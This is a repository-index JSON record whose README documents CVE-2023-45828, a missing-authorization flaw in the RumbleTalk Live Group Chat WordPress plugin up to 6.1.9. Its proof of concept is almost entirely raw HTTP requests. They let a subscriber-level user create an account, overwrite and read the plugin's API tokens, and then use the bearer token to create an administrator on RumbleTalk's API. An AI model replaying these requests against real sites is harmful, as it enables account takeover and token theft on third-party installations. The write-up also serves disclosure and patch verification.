{"id":21125724,"url":"https://github.com/randomrobbiebf/cve-2023-45828","last_synced_at":"2026-03-19T19:01:16.972Z","repository":{"id":200676216,"uuid":"706068061","full_name":"RandomRobbieBF/CVE-2023-45828","owner":"RandomRobbieBF","description":"RumbleTalk Live Group Chat \u003c= 6.1.9 - Missing Authorization via handleRequest","archived":false,"fork":false,"pushed_at":"2023-10-17T08:58:03.000Z","size":8,"stargazers_count":0,"open_issues_count":0,"forks_count":1,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-01-21T05:41:43.469Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/RandomRobbieBF.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2023-10-17T08:41:54.000Z","updated_at":"2024-08-12T20:32:54.000Z","dependencies_parsed_at":null,"dependency_job_id":"ea7a9c75-e61a-4d1b-ad64-1ff42e961e85","html_url":"https://github.com/RandomRobbieBF/CVE-2023-45828","commit_stats":null,"previous_names":["randomrobbiebf/cve-2023-45828"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2023-45828","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2023-45828/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2023-45828/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2023-45828/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/RandomRobbieBF","download_url":"https://codeload.github.com/RandomRobbieBF/CVE-2023-45828/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243573166,"owners_count":20312879,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-20T04:36:35.176Z","updated_at":"2026-01-02T00:33:00.338Z","avatar_url":"https://github.com/RandomRobbieBF.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2023-45828\nRumbleTalk Live Group Chat \u0026lt;= 6.1.9 - Missing Authorization via handleRequest\n\n### Description:\nThe RumbleTalk Live Group Chat plugin for WordPress is vulnerable to unauthorized access of data, modification of data, and loss of data due to a missing capability check on the handleRequest AJAX function in versions up to, and including, 6.1.9. This makes it possible for authenticated attackers, with subscriber-level access and above, to retrieve or update tokens, create, update, refresh, and delete chats, and create accounts.\n\n```\nSeverity: high\nCVE ID: CVE-2023-45828\nCVSS Score: 7.6\nCVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L\nPlugin Slug: rumbletalk-chat-a-chat-with-themes\nWPScan URL: https://www.wpscan.com/plugin/rumbletalk-chat-a-chat-with-themes\nReference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/d9d6e168-a768-4062-9ef1-0be9d6c65c51?source=api-prod\n```\n\n\nPOC - Must be logged in as subscriber.\n\nCreate a Rumble Account.\n---\n\n```\nPOST /wp-admin/admin-ajax.php?_fs_blog_admin=true HTTP/1.1\nHost: wordpress.lan\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://wordpress.lan/wp-admin/options-general.php?page=rumbletalk-chat\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 139\nOrigin: http://wordpress.lan\nConnection: close\n\naction=rumbletalk_ajax\u0026data[request]=CREATE_ACCOUNT\u0026data[data][email]=test@rumble.com\u0026data[data][password]=Password1!\n```\n\nUpdate Rumble Tokens\n---\n\n```\nPOST /wp-admin/admin-ajax.php?_fs_blog_admin=true HTTP/1.1\nHost: wordpress.lan\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://wordpress.lan/wp-admin/options-general.php?page=rumbletalk-chat\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 202\nOrigin: http://wordpress.lan\nConnection: close\n\naction=rumbletalk_ajax\u0026data[request]=UPDATE_TOKEN\u0026data[data][key]=52e2299585f657b53d5add545915773d\u0026data[data][secret]=\n```\n\nGet Token\n---\n\n```\nPOST /wp-admin/admin-ajax.php?_fs_blog_admin=true HTTP/1.1\nHost: wordpress.lan\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://wordpress.lan/wp-admin/options-general.php?page=rumbletalk-chat\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 50\nOrigin: http://wordpress.lan\nConnection: close\n\naction=rumbletalk_ajax\u0026data%5Brequest%5D=GET_TOKEN\n```\n\nCreate Admin on rumble\n---\n\n```\nPOST /users HTTP/2\nHost: api.rumbletalk.com\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/json\nAuthorization: Bearer INSERT BEARER TOKEN!\nContent-Length: 787\nOrigin: https://iframe.rumbletalk.com\nReferer: https://iframe.rumbletalk.com/\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-site\nTe: trailers\n\n{\"id\":null,\"username\":\"test\",\"password\":\"TestTest123\",\"level\":5,\"moderatorRoomId\":null,\"firstName\":\"test\",\"lastName\":\"test\",\"email\":\"test@test\",\"image\":\"\",\"description\":\"test\",\"rooms\":[],\"dispatchConfig\":null,\"_targetInst\":null,\"nativeEvent\":null,\"type\":null,\"target\":null,\"currentTarget\":null,\"eventPhase\":null,\"bubbles\":null,\"cancelable\":null,\"timeStamp\":null,\"defaultPrevented\":null,\"isTrusted\":null,\"view\":null,\"detail\":null,\"screenX\":null,\"screenY\":null,\"clientX\":null,\"clientY\":null,\"ctrlKey\":null,\"shiftKey\":null,\"altKey\":null,\"metaKey\":null,\"getModifierState\":null,\"button\":null,\"buttons\":null,\"relatedTarget\":null,\"pageX\":null,\"pageY\":null,\"isDefaultPrevented\":null,\"isPropagationStopped\":null,\"_dispatchListeners\":null,\"_dispatchInstances\":null,\"created\":1697532286,\"status\":1}\n```\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Fcve-2023-45828","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frandomrobbiebf%2Fcve-2023-45828","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Fcve-2023-45828/lists"}